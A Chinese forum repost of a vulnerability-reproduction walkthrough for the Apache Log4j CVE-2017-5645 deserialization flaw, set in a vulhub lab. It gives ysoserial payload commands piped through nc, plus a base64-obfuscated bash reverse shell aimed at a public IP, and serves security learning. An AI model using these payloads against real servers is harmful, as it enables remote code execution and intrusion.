搜索

[27075] 2020-09-17_漏洞复现CVE‐2017‐5645

文档创建者：s7ckTeam
浏览次数：13
最后更新：2025-01-19
2020-09-17_漏洞复现CVE‐2017‐5645 漏 洞 复 现   |   C V E ‐ 2 0 1 7 ‐ 5 6 4 5 原 创   徐 哥   M s 0 8 0 6 7 安 全 实 验 室   2 0 2 0 - 0 9 - 1 7 收 录 于 话 题 # S R S P   T e a m   , 1 7 # 漏 洞 复 现   , 2 3 本 文 作 者 ： T a o i n g （ M s 0 8 0 6 7 实 验 室   S R S P   T E A M   核 心 成 员 ）   A p a c h e   L o g 4 j   S e r v e r   反 序 列 化 命 令 执 行 漏 洞 （ C V E ‐ 2 0 1 7 ‐ 5 6 4 5 ） 一 、 漏 洞 原 理 一 、 漏 洞 原 理   A p a c h e   L o g 4 j 是 一 个 用 于 J a v a 的 日 志 记 录 库 ， 其 支 持 启 动 远 程 日 志 服 务 器 。 A p a c h e   L o g 4 j   2 . 8 . 2 之   前 的 2 . x 版 本 中 存 在 安 全 漏 洞 。 攻 击 者 可 利 用 该 漏 洞 执 行 任 意 代 码 。 二 、 环 境 搭 建 二 、 环 境 搭 建 c d   / v u l h u b / l o g 4 j / C V E ‐ 2 0 1 7 ‐ 5 6 4 5               # 进 入 环 境 目 录     d o c k e r ‐ c o m p o s e   b u i l d   & &   d o c k e r ‐ c o m p o s e   u p   ‐ d       # 一 键 启 动 漏 洞 环 境 环 境 启 动 后 ， 将 在 4 7 1 2 端 口 开 启 一 个 T C P S e r v e r 。   除 了 使 用 v u l h u b 的 d o c k e r 镜 像 搭 建 环 境 外 ， 还 下 载 了 l o g 4 j 的 j a r 文 件 后 可 以 直 接 在 命 令 行 启 动 这 个   T C P S e r v e r ： j a v a   ‐ c p   " l o g 4 j ‐ a p i ‐ 2 . 8 . 1 . j a r : l o g 4 j ‐ c o r e ‐ 2 . 8 . 1 . j a r : j c o m m a n d e r ‐ 1 . 7 2 . j a r " o r g . a p a c h e . l o g g i n g . l o g 4 j . c o r e . n e t . s e r v e r . T c p S o c k e t S e r v e r 无 需 使 用 v u l h u b 和 编 写 代 码 。 三 、 漏 洞 复 现 三 、 漏 洞 复 现   p a y l o a d   使 用 y s o s e r i a l 生 成 p a y l o a d ， 然 后 直 接 发 送 给 y o u r ‐ i p : 4 7 1 2 端 口 即 可 。   j a v a   ‐ j a r   y s o s e r i a l . j a r   C o m m o n s C o l l e c t i o n s 5   " t o u c h   / t m p / C V E ‐ 2 0 1 7 ‐ 5 6 4 5 _ i s _ s u c c e   s s "   |   n c   y o u r ‐ i p   4 7 1 2 执 行 d o c k e r ‐ c o m p o s e   e x e c   l o g 4 j   b a s h 进 容 器 可 见   / t m p / C V E ‐ 2 0 1 7 ‐ 5 6 4 5 _ i s _ s u c c e s s 已 成 功 创 建 ： 四 、 反 弹 四 、 反 弹 s h e l l 工 具 推 荐 ： h t t p s : / / k r o b e r . b i z / m i s c / r e v e r s e _ s h e l l . p h p      
# 在 线 生 成 反 弹 s h e l l 命 令     h t t p : / / w w w . j a c k s o n ‐ t . c a / r u n t i m e ‐ e x e c ‐ p a y l o a d s . h t m l       # 命 令 编 码 工 具   j a v a   ‐ j a r   y s o s e r i a l . j a r   C o m m o n s C o l l e c t i o n s 5   " b a s h   ‐ c   { e c h o , Y m F z a C A t a S A + J i A v Z G V 2 L 3 R j c C 8 4 L j I x M C 4 y M z U u M j Q 5 L z k 5 O D g g M D 4 m M Q = = } | { b a s e 6 4 , ‐ d } | { b a s h , ‐ i } "   |   n c   8 . 2 1 0 . 1   5 2 . 2 3 4   4 7 1 2   s h e l l 到 手   参 考 文 章 ： h t t p s : / / w w w . c n b l o g s . c o m / z a q z z z / p / 1 2 4 5 9 9 9 9 . h t m h t t p s : / / x z . a l i y u n . c o m / t / 1 9 0 9 招 新 微 信 联 系 方 式 ： c o s 2 6 0 6 5 9 6 9 2 4 ， 满 足 以 下 要 求 均 可 尝 试 1 . 至 少 会 一 门 编 程 语 言 2 . 漏 洞 平 台 上 提 交 过 漏 洞 超 过 2 0 个 3 . 每 月 一 文 章 分 享 ( 考 虑 有 些 要 上 班 )
扫 描 下 方 二 维 码 加 入 星 球 学 习 扫 描 下 方 二 维 码 加 入 星 球 学 习 加 入 后 会 邀 请 你 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！ 加 入 后 会 邀 请 你 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！       目 前 目 前 3 0 0 0 0 + 人 已 关 注 加 入 我 们 人 已 关 注 加 入 我 们
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理